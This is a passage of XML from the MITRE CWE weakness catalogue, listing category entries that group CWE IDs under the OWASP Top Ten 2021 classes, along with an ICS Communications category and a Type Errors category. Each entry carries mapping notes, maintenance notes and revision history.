            <Has_Member CWE_ID="922" View_ID="1344"/>
            <Has_Member CWE_ID="1275" View_ID="1344"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-1207"/>
            <Reference External_Reference_ID="REF-1206"/>
         </References>
	 <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
	   <Note Type="Maintenance">As of CWE 4.6, the relationships in this category were pulled directly from the CWE mappings cited in the 2021 OWASP Top Ten. These mappings include categories, which are discouraged for mapping, as well as high-level weaknesses such as Pillars. The CWE Program will work with OWASP to improve these mappings, possibly requiring modifications to CWE itself.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2021-10-05</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1346" Name="OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the A02 category "Cryptographic Failures" in the OWASP Top Ten 2021.</Summary>
         <Relationships>
            <Has_Member CWE_ID="261" View_ID="1344"/>
            <Has_Member CWE_ID="296" View_ID="1344"/>
            <Has_Member CWE_ID="310" View_ID="1344"/>
            <Has_Member CWE_ID="319" View_ID="1344"/>
            <Has_Member CWE_ID="321" View_ID="1344"/>
            <Has_Member CWE_ID="322" View_ID="1344"/>
            <Has_Member CWE_ID="323" View_ID="1344"/>
            <Has_Member CWE_ID="324" View_ID="1344"/>
            <Has_Member CWE_ID="325" View_ID="1344"/>
            <Has_Member CWE_ID="326" View_ID="1344"/>
            <Has_Member CWE_ID="327" View_ID="1344"/>
            <Has_Member CWE_ID="328" View_ID="1344"/>
            <Has_Member CWE_ID="329" View_ID="1344"/>
            <Has_Member CWE_ID="330" View_ID="1344"/>
            <Has_Member CWE_ID="331" View_ID="1344"/>
            <Has_Member CWE_ID="335" View_ID="1344"/>
            <Has_Member CWE_ID="336" View_ID="1344"/>
            <Has_Member CWE_ID="337" View_ID="1344"/>
            <Has_Member CWE_ID="338" View_ID="1344"/>
            <Has_Member CWE_ID="340" View_ID="1344"/>
            <Has_Member CWE_ID="347" View_ID="1344"/>
            <Has_Member CWE_ID="523" View_ID="1344"/>
            <Has_Member CWE_ID="720" View_ID="1344"/>
            <Has_Member CWE_ID="757" View_ID="1344"/>
            <Has_Member CWE_ID="759" View_ID="1344"/>
            <Has_Member CWE_ID="760" View_ID="1344"/>
            <Has_Member CWE_ID="780" View_ID="1344"/>
            <Has_Member CWE_ID="818" View_ID="1344"/>
            <Has_Member CWE_ID="916" View_ID="1344"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-1208"/>
            <Reference External_Reference_ID="REF-1206"/>
         </References>
	 <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
	   <Note Type="Maintenance">As of CWE 4.6, the relationships in this category were pulled directly from the CWE mappings cited in the 2021 OWASP Top Ten. These mappings include categories, which are discouraged for mapping, as well as high-level weaknesses such as Pillars. The CWE Program will work with OWASP to improve these mappings, possibly requiring modifications to CWE itself.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2021-10-05</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1347" Name="OWASP Top Ten 2021 Category A03:2021 - Injection" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the A03 category "Injection" in the OWASP Top Ten 2021.</Summary>
         <Relationships>
            <Has_Member CWE_ID="20" View_ID="1344"/>
            <Has_Member CWE_ID="74" View_ID="1344"/>
            <Has_Member CWE_ID="75" View_ID="1344"/>
            <Has_Member CWE_ID="77" View_ID="1344"/>
            <Has_Member CWE_ID="78" View_ID="1344"/>
            <Has_Member CWE_ID="79" View_ID="1344"/>
            <Has_Member CWE_ID="80" View_ID="1344"/>
            <Has_Member CWE_ID="83" View_ID="1344"/>
            <Has_Member CWE_ID="87" View_ID="1344"/>
            <Has_Member CWE_ID="88" View_ID="1344"/>
            <Has_Member CWE_ID="89" View_ID="1344"/>
            <Has_Member CWE_ID="90" View_ID="1344"/>
            <Has_Member CWE_ID="91" View_ID="1344"/>
            <Has_Member CWE_ID="93" View_ID="1344"/>
            <Has_Member CWE_ID="94" View_ID="1344"/>
            <Has_Member CWE_ID="95" View_ID="1344"/>
            <Has_Member CWE_ID="96" View_ID="1344"/>
            <Has_Member CWE_ID="97" View_ID="1344"/>
            <Has_Member CWE_ID="98" View_ID="1344"/>
            <Has_Member CWE_ID="99" View_ID="1344"/>
            <Has_Member CWE_ID="113" View_ID="1344"/>
            <Has_Member CWE_ID="116" View_ID="1344"/>
            <Has_Member CWE_ID="138" View_ID="1344"/>
            <Has_Member CWE_ID="184" View_ID="1344"/>
            <Has_Member CWE_ID="470" View_ID="1344"/>
            <Has_Member CWE_ID="471" View_ID="1344"/>
            <Has_Member CWE_ID="564" View_ID="1344"/>
            <Has_Member CWE_ID="610" View_ID="1344"/>
            <Has_Member CWE_ID="643" View_ID="1344"/>
            <Has_Member CWE_ID="644" View_ID="1344"/>
            <Has_Member CWE_ID="652" View_ID="1344"/>
            <Has_Member CWE_ID="917" View_ID="1344"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-1209"/>
            <Reference External_Reference_ID="REF-1206"/>
         </References>
	 <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
	   <Note Type="Maintenance">As of CWE 4.6, the relationships in this category were pulled directly from the CWE mappings cited in the 2021 OWASP Top Ten. These mappings include high-level Class and/or Pillar weaknesses. The CWE Program will work with OWASP to improve these mappings, possibly including modifications to CWE itself.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2021-10-05</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1348" Name="OWASP Top Ten 2021 Category A04:2021 - Insecure Design" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the A04 "Insecure Design" category in the OWASP Top Ten 2021.</Summary>
         <Relationships>
            <Has_Member CWE_ID="73" View_ID="1344"/>
            <Has_Member CWE_ID="183" View_ID="1344"/>
            <Has_Member CWE_ID="209" View_ID="1344"/>
            <Has_Member CWE_ID="213" View_ID="1344"/>
            <Has_Member CWE_ID="235" View_ID="1344"/>
            <Has_Member CWE_ID="256" View_ID="1344"/>
            <Has_Member CWE_ID="257" View_ID="1344"/>
            <Has_Member CWE_ID="266" View_ID="1344"/>
            <Has_Member CWE_ID="269" View_ID="1344"/>
            <Has_Member CWE_ID="280" View_ID="1344"/>
            <Has_Member CWE_ID="311" View_ID="1344"/>
            <Has_Member CWE_ID="312" View_ID="1344"/>
            <Has_Member CWE_ID="313" View_ID="1344"/>
            <Has_Member CWE_ID="316" View_ID="1344"/>
            <Has_Member CWE_ID="419" View_ID="1344"/>
            <Has_Member CWE_ID="430" View_ID="1344"/>
            <Has_Member CWE_ID="434" View_ID="1344"/>
            <Has_Member CWE_ID="444" View_ID="1344"/>
            <Has_Member CWE_ID="451" View_ID="1344"/>
            <Has_Member CWE_ID="472" View_ID="1344"/>
            <Has_Member CWE_ID="501" View_ID="1344"/>
            <Has_Member CWE_ID="522" View_ID="1344"/>
            <Has_Member CWE_ID="525" View_ID="1344"/>
            <Has_Member CWE_ID="539" View_ID="1344"/>
            <Has_Member CWE_ID="579" View_ID="1344"/>
            <Has_Member CWE_ID="598" View_ID="1344"/>
            <Has_Member CWE_ID="602" View_ID="1344"/>
            <Has_Member CWE_ID="642" View_ID="1344"/>
            <Has_Member CWE_ID="646" View_ID="1344"/>
            <Has_Member CWE_ID="650" View_ID="1344"/>
            <Has_Member CWE_ID="653" View_ID="1344"/>
            <Has_Member CWE_ID="656" View_ID="1344"/>
            <Has_Member CWE_ID="657" View_ID="1344"/>
            <Has_Member CWE_ID="799" View_ID="1344"/>
            <Has_Member CWE_ID="807" View_ID="1344"/>
            <Has_Member CWE_ID="840" View_ID="1344"/>
            <Has_Member CWE_ID="841" View_ID="1344"/>
            <Has_Member CWE_ID="927" View_ID="1344"/>
            <Has_Member CWE_ID="1021" View_ID="1344"/>
            <Has_Member CWE_ID="1173" View_ID="1344"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-1210"/>
            <Reference External_Reference_ID="REF-1206"/>
         </References>
	 <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
	   <Note Type="Maintenance">As of CWE 4.6, the relationships in this category were pulled directly from the CWE mappings cited in the 2021 OWASP Top Ten. These mappings include categories, which are discouraged for mapping, as well as high-level weaknesses such as Pillars. The CWE Program will work with OWASP to improve these mappings, possibly requiring modifications to CWE itself.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2021-10-05</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1349" Name="OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the A05 category "Security Misconfiguration" in the OWASP Top Ten 2021.</Summary>
         <Relationships>
            <Has_Member CWE_ID="2" View_ID="1344"/>
            <Has_Member CWE_ID="11" View_ID="1344"/>
            <Has_Member CWE_ID="13" View_ID="1344"/>
            <Has_Member CWE_ID="15" View_ID="1344"/>
            <Has_Member CWE_ID="16" View_ID="1344"/>
            <Has_Member CWE_ID="260" View_ID="1344"/>
            <Has_Member CWE_ID="315" View_ID="1344"/>
            <Has_Member CWE_ID="520" View_ID="1344"/>
            <Has_Member CWE_ID="526" View_ID="1344"/>
            <Has_Member CWE_ID="537" View_ID="1344"/>
            <Has_Member CWE_ID="541" View_ID="1344"/>
            <Has_Member CWE_ID="547" View_ID="1344"/>
            <Has_Member CWE_ID="611" View_ID="1344"/>
            <Has_Member CWE_ID="614" View_ID="1344"/>
            <Has_Member CWE_ID="756" View_ID="1344"/>
            <Has_Member CWE_ID="776" View_ID="1344"/>
            <Has_Member CWE_ID="942" View_ID="1344"/>
            <Has_Member CWE_ID="1004" View_ID="1344"/>
            <Has_Member CWE_ID="1032" View_ID="1344"/>
            <Has_Member CWE_ID="1174" View_ID="1344"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-1211"/>
            <Reference External_Reference_ID="REF-1206"/>
         </References>
	 <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
	   <Note Type="Maintenance">As of CWE 4.6, the relationships in this category were pulled directly from the CWE mappings cited in the 2021 OWASP Top Ten. These mappings include categories, which are discouraged for mapping. The CWE Program will work with OWASP to improve these mappings, possibly requiring modifications to CWE itself.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2021-10-05</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1352" Name="OWASP Top Ten 2021 Category A06:2021 - Vulnerable and Outdated Components" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the A06 category "Vulnerable and Outdated Components" in the OWASP Top Ten 2021.</Summary>
         <Relationships>
            <Has_Member CWE_ID="937" View_ID="1344"/>
            <Has_Member CWE_ID="1035" View_ID="1344"/>
            <Has_Member CWE_ID="1104" View_ID="1344"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-1212"/>
            <Reference External_Reference_ID="REF-1206"/>
         </References>
	 <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
	   <Note Type="Maintenance">As of CWE 4.6, the relationships in this category were pulled directly from the CWE mappings cited in the 2021 OWASP Top Ten. These mappings include categories, which are discouraged for mapping. The CWE Program will work with OWASP to improve these mappings, possibly requiring modifications to CWE itself.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2021-10-05</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1353" Name="OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the A07 category "Identification and Authentication Failures" in the OWASP Top Ten 2021.</Summary>
         <Relationships>
            <Has_Member CWE_ID="255" View_ID="1344"/>
            <Has_Member CWE_ID="259" View_ID="1344"/>
            <Has_Member CWE_ID="287" View_ID="1344"/>
            <Has_Member CWE_ID="288" View_ID="1344"/>
            <Has_Member CWE_ID="290" View_ID="1344"/>
            <Has_Member CWE_ID="294" View_ID="1344"/>
            <Has_Member CWE_ID="295" View_ID="1344"/>
            <Has_Member CWE_ID="297" View_ID="1344"/>
            <Has_Member CWE_ID="300" View_ID="1344"/>
            <Has_Member CWE_ID="302" View_ID="1344"/>
            <Has_Member CWE_ID="304" View_ID="1344"/>
            <Has_Member CWE_ID="306" View_ID="1344"/>
            <Has_Member CWE_ID="307" View_ID="1344"/>
            <Has_Member CWE_ID="346" View_ID="1344"/>
            <Has_Member CWE_ID="384" View_ID="1344"/>
            <Has_Member CWE_ID="521" View_ID="1344"/>
            <Has_Member CWE_ID="613" View_ID="1344"/>
            <Has_Member CWE_ID="620" View_ID="1344"/>
            <Has_Member CWE_ID="640" View_ID="1344"/>
            <Has_Member CWE_ID="798" View_ID="1344"/>
            <Has_Member CWE_ID="940" View_ID="1344"/>
            <Has_Member CWE_ID="1216" View_ID="1344"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-1213"/>
            <Reference External_Reference_ID="REF-1206"/>
         </References>
	 <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
	   <Note Type="Maintenance">As of CWE 4.6, the relationships in this category were pulled directly from the CWE mappings cited in the 2021 OWASP Top Ten. These mappings include categories, which are discouraged for mapping, as well as high-level weaknesses. The CWE Program will work with OWASP to improve these mappings, possibly requiring modifications to CWE itself.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2021-10-05</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1354" Name="OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the A08 category "Software and Data Integrity Failures" in the OWASP Top Ten 2021.</Summary>
         <Relationships>
            <Has_Member CWE_ID="345" View_ID="1344"/>
            <Has_Member CWE_ID="353" View_ID="1344"/>
            <Has_Member CWE_ID="426" View_ID="1344"/>
            <Has_Member CWE_ID="494" View_ID="1344"/>
            <Has_Member CWE_ID="502" View_ID="1344"/>
            <Has_Member CWE_ID="565" View_ID="1344"/>
            <Has_Member CWE_ID="784" View_ID="1344"/>
            <Has_Member CWE_ID="829" View_ID="1344"/>
            <Has_Member CWE_ID="830" View_ID="1344"/>
            <Has_Member CWE_ID="915" View_ID="1344"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-1214"/>
            <Reference External_Reference_ID="REF-1206"/>
         </References>
	 <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
	   <Note Type="Maintenance">As of CWE 4.6, the relationships in this category were pulled directly from the CWE mappings cited in the 2021 OWASP Top Ten. The CWE Program will work with OWASP to improve these mappings, possibly requiring modifications to CWE itself.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2021-10-05</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1355" Name="OWASP Top Ten 2021 Category A09:2021 - Security Logging and Monitoring Failures" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the A09 category "Security Logging and Monitoring Failures" in the OWASP Top Ten 2021.</Summary>
         <Relationships>
            <Has_Member CWE_ID="117" View_ID="1344"/>
            <Has_Member CWE_ID="223" View_ID="1344"/>
            <Has_Member CWE_ID="532" View_ID="1344"/>
            <Has_Member CWE_ID="778" View_ID="1344"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-1215"/>
            <Reference External_Reference_ID="REF-1206"/>
         </References>
	 <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
	   <Note Type="Maintenance">As of CWE 4.6, the relationships in this category were pulled directly from the CWE mappings cited in the 2021 OWASP Top Ten. The CWE Program will work with OWASP to improve these mappings, possibly requiring modifications to CWE itself.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2021-10-05</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1356" Name="OWASP Top Ten 2021 Category A10:2021 - Server-Side Request Forgery (SSRF)" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the A10 category "Server-Side Request Forgery (SSRF)" in the OWASP Top Ten 2021.</Summary>
         <Relationships>
            <Has_Member CWE_ID="918" View_ID="1344"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-1216"/>
            <Reference External_Reference_ID="REF-1206"/>
         </References>
	 <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
	   <Note Type="Maintenance">As of CWE 4.6, the relationships in this category were pulled directly from the CWE mappings cited in the 2021 OWASP Top Ten. The CWE Program will work with OWASP to improve these mappings, possibly requiring modifications to CWE itself.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2021-10-05</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1359" Name="ICS Communications" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the "ICS Communications" super category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022.</Summary>
         <Relationships>
            <Has_Member CWE_ID="1364" View_ID="1358"/>
            <Has_Member CWE_ID="1365" View_ID="1358"/>
            <Has_Member CWE_ID="1366" View_ID="1358"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-1248"/>
         </References>
	 <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
	   <Note Type="Relationship">Relationships in this category are not authoritative and subject to change. See Maintenance notes.</Note>
	   <Note Type="Maintenance">This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT)</Submission_Name>
               <Submission_Organization>Securing Energy Infrastructure Executive Task Force</Submission_Organization>
               <Submission_Date>2022-03-09</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes, Relationship_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="136" Name="Type Errors" Status="Draft">
         <Summary>Weaknesses in this category are caused by improper data type transformation or improper handling of multiple data types.</Summary>
         <Relationships>
            <Has_Member CWE_ID="681" View_ID="699"/>
            <Has_Member CWE_ID="843" View_ID="699"/>
            <Has_Member CWE_ID="1287" View_ID="699"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-07-19</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
